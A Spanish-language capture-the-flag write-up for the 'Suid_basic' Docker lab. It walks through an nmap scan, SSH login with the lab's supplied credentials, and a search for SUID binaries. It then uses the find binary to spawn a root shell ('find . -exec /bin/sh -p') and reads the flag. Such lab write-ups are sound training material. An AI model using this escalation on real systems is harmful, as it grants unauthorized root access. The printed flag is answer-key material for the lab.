1. Información General

Máquina: **Suid_basic**
Tipo: **Docker**
Dirección IP: **172.17.0.2**
Fecha: 02/04/2026.

Una vez iniciado el contenedor de la máquina **SuidX**, el script de despliegue nos proporcionó las credenciales de acceso inicial y el direccionamiento IP del objetivo (**172.17.0.2**). Con esta información, procedimos a realizar un escaneo de red para validar la disponibilidad de los servicios, centrando nuestra atención en el puerto **22 (SSH)**.

```
kali@kali: ~/maquinas_ctf/suid_basic
Session  Actions  Edit  View  Help
Aprende, simula, escala. Sin burocracia.
═══════════════════════════════════════════════════════════════════════════

[√] Imagen cargada correctamente.
[*] Iniciando laboratorio ...
[√] Laboratorio iniciado correctamente.

═══════════════════════════════════════════════════════════════════════════
[√] Laboratorio desplegado correctamente.
═══════════════════════════════════════════════════════════════════════════
IP del laboratorio: 172.17.0.2
Usuario: hacker
Contraseña: h4ck3r123
Comando de conexión: ssh hacker@172.17.0.2
═══════════════════════════════════════════════════════════════════════════

Objetivo: Encuentra y explota binarios SUID para obtener la flag en /root/flag.txt

Presiona Ctrl+C cuando quieras detener el laboratorio.
```

2. Enumeración de Servicios

Con la dirección IP del laboratorio confirmada, se procedió a realizar un escaneo exhaustivo de puertos utilizando la herramienta **Nmap**. El objetivo de esta fase fue identificar servicios activos y sus versiones para determinar los posibles vectores de ataque.

Comando ejecutado: nmap -sV -sC -p- 172.17.0.2

La identificación del puerto **22 abierto** coincide con la información de despliegue proporcionada inicialmente. Al no detectarse otros servicios web o bases de datos expuestas en este rango, se establece el servicio SSH como el **vector de entrada principal** para el usuario hacker.

Se realiza el ingreso a la maquina con las credenciales proporcionadas al inicio mediante **ssh hacker@172.17.0.2**

```
hacker@a494e219669a: ~
Session  Actions  Edit  View  Help

 ____  _   _ ___ ____          ____    _    ____ ___ ____
/ ___ || | | |_ _|  _ \        | __ )  / \  / ___|_ _/ ___|
\___ \| | | || || | | |_____|  _ \ / _ \ \___ \| | |
 ___) | |_| || || |_| |_____| |_) / ___ \ ___) | | |___
|____/ \___/|___|____/        |____/_/   \_\____/___\____|

═══════════════════════════════════════════
Bienvenido al laboratorio SUID-BASIC
Objetivo: Escalar privilegios usando SUID
Usuario: hacker | Password: h4ck3r123
═══════════════════════════════════════════

hacker@a494e219669a:~$
```

3. Acceso al Sistema

Una vez establecido el acceso al servidor, se procedió a realizar una exploración exhaustiva del sistema de archivos con el objetivo de identificar elementos adicionales que pudieran ser de utilidad para la investigación. Durante esta fase de reconocimiento interno, se localizaron recursos críticos que definen la ruta a seguir:

- Ya dentro del sistema como el usuario hacker, se identificó un archivo denominado LEEME.txt. Al inspeccionar su contenido, se obtuvo una pista directa que sugiere la búsqueda de binarios con permisos especiales SUID y se proporcionó el recurso GTFOBins como referencia para la explotación

```
hacker@a494e219669a:~$ ls -al
total 32
drwxr-x--- 1 hacker hacker 4096 Apr  3 04:36 .
drwxr-xr-x 1 root   root   4096 Dec 12 04:53 ..
-rw-r--r-- 1 hacker hacker  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 hacker hacker 3771 Jan  6  2022 .bashrc
drwx------ 2 hacker hacker 4096 Apr  3 04:36 .cache
-rw-r--r-- 1 hacker hacker  807 Jan  6  2022 .profile
-rw-r--r-- 1 hacker hacker  137 Dec 12 04:53 LEEME.txt
hacker@a494e219669a:~$ cat LEEME.txt
Pista: Busca binarios con permisos especiales SUID...
Comando útil: find / -perm -4000 2>/dev/null
Recurso: https://gtfobins.github.io/
hacker@a494e219669a:~$
```

4. Escalada de Privilegios

Se inicia la búsqueda de los binarios tomando como referencia el mensaje desplegado en el archivo LEEME.txt. y lanzamos el comando: **find / -perm -4000 -ls 2>/dev/null**

```
hacker@a494e219669a: ~
Session  Actions  Edit  View  Help
hacker@a494e219669a:~$ find / -perm -4000 -ls 2>/dev/null
  2929114    332 -rwsr-xr-x   1 root     root       338536 Apr 11  2025 /usr/lib/openssh/ssh-keysig
n
  2929085     36 -rwsr-xr--   1 root     messagebus    35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-da
emon-launch-helper
  2899353     56 -rwsr-xr-x   1 root     root          55680 Apr  9  2024 /usr/bin/su
  2899273     48 -rwsr-xr-x   1 root     root          47488 Apr  9  2024 /usr/bin/mount
  3020853    276 -rwsr-xr-x   1 root     root         282088 Mar 23  2022 /usr/bin/find
  2899379     36 -rwsr-xr-x   1 root     root          35200 Apr  9  2024 /usr/bin/umount
  2899278     40 -rwsr-xr-x   1 root     root          40496 Feb  6  2024 /usr/bin/newgrp
  2899215     72 -rwsr-xr-x   1 root     root          72072 Feb  6  2024 /usr/bin/gpasswd
  2899153     44 -rwsr-xr-x   1 root     root          44808 Feb  6  2024 /usr/bin/chsh
  2899289     60 -rwsr-xr-x   1 root     root          59976 Feb  6  2024 /usr/bin/passwd
  2899147     72 -rwsr-xr-x   1 root     root          72712 Feb  6  2024 /usr/bin/chfn
  3020855   3700 -rwsr-xr-x   1 root     root        3787824 Apr  2  2025 /usr/bin/vim.basic
  3020854    196 -rwsr-xr-x   1 root     root         199048 Apr 27  2024 /usr/bin/less
  2929035    228 -rwsr-xr-x   1 root     root         232416 Jun 25  2025 /usr/bin/sudo
hacker@a494e219669a:~$
```

Seleccionamos el binario **/usr/bin/find** debido a que entre todos los binarios que enumeramos con el bit SUID activo, este es el mas potente y sencillo de explotar por su funcionalidad nativa de ejecución de comandos.

Tomamos como referencia la consulta de gtfonbins.org

https://gtfobins.org/gtfobins/find/#shell

Este ejecutable puede generar un shell de sistema interactivo.

(a) Desprivilegiados | Sudo | SUID

Esta función la realiza el usuario privilegiado si el ejecutable tiene el bit SUID establecido y la propiedad correcta, ya que los *privilegios efectivos* no se pierden.

Observaciones

Este ejecutable ejecuta comandos directamente, por ejemplo, mediante funciones como , recuerda omitir el argumento de cada invocación para distribuciones donde el shell por defecto no pierde privilegios SUID. `exec -p /bin/sh`

```
find . -exec /bin/sh -p \; -quit
```

Aplicamos el contando: **/usr/bin/find . -exec /bin/sh -p \; -quit**

```
hacker@a494e219669a: ~
Session  Actions  Edit  View  Help
hacker@a494e219669a:~$ /usr/bin/find . -exec /bin/sh -p \; -quit
# whoami
root
#
```

5. Captura de la Flag

Una vez que hemos realizado la escalada de privilegios a root procedemos a ingresar al directorio root con el comando **cd /root** y listamos su contenido con el comando: **ls -al**

```
hacker@a494e219669a: ~
Session  Actions  Edit  View  Help
hacker@a494e219669a:~$ /usr/bin/find . -exec /bin/sh -p \; -quit
# whoami
root
# cd /root
# ls -al
total 20
drwx------ 1 root root 4096 Dec 12 04:53 .
drwxr-xr-x 1 root root 4096 Apr  3 04:16 ..
-rw-r--r-- 1 root root 3106 Oct 15  2021 .bashrc
-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
-rw------- 1 root root   32 Dec 12 04:53 flag.txt
#
```

De esa forma encontramos la flag, para conocer el contenido utilizamos el comando: **cat flag.txt**

```
hacker@a494e219669a: ~
Session  Actions  Edit  View  Help
# cat flag.txt
FLAG{SU1D_M4ST3R_B4S1C_PR1V3SC}
#
```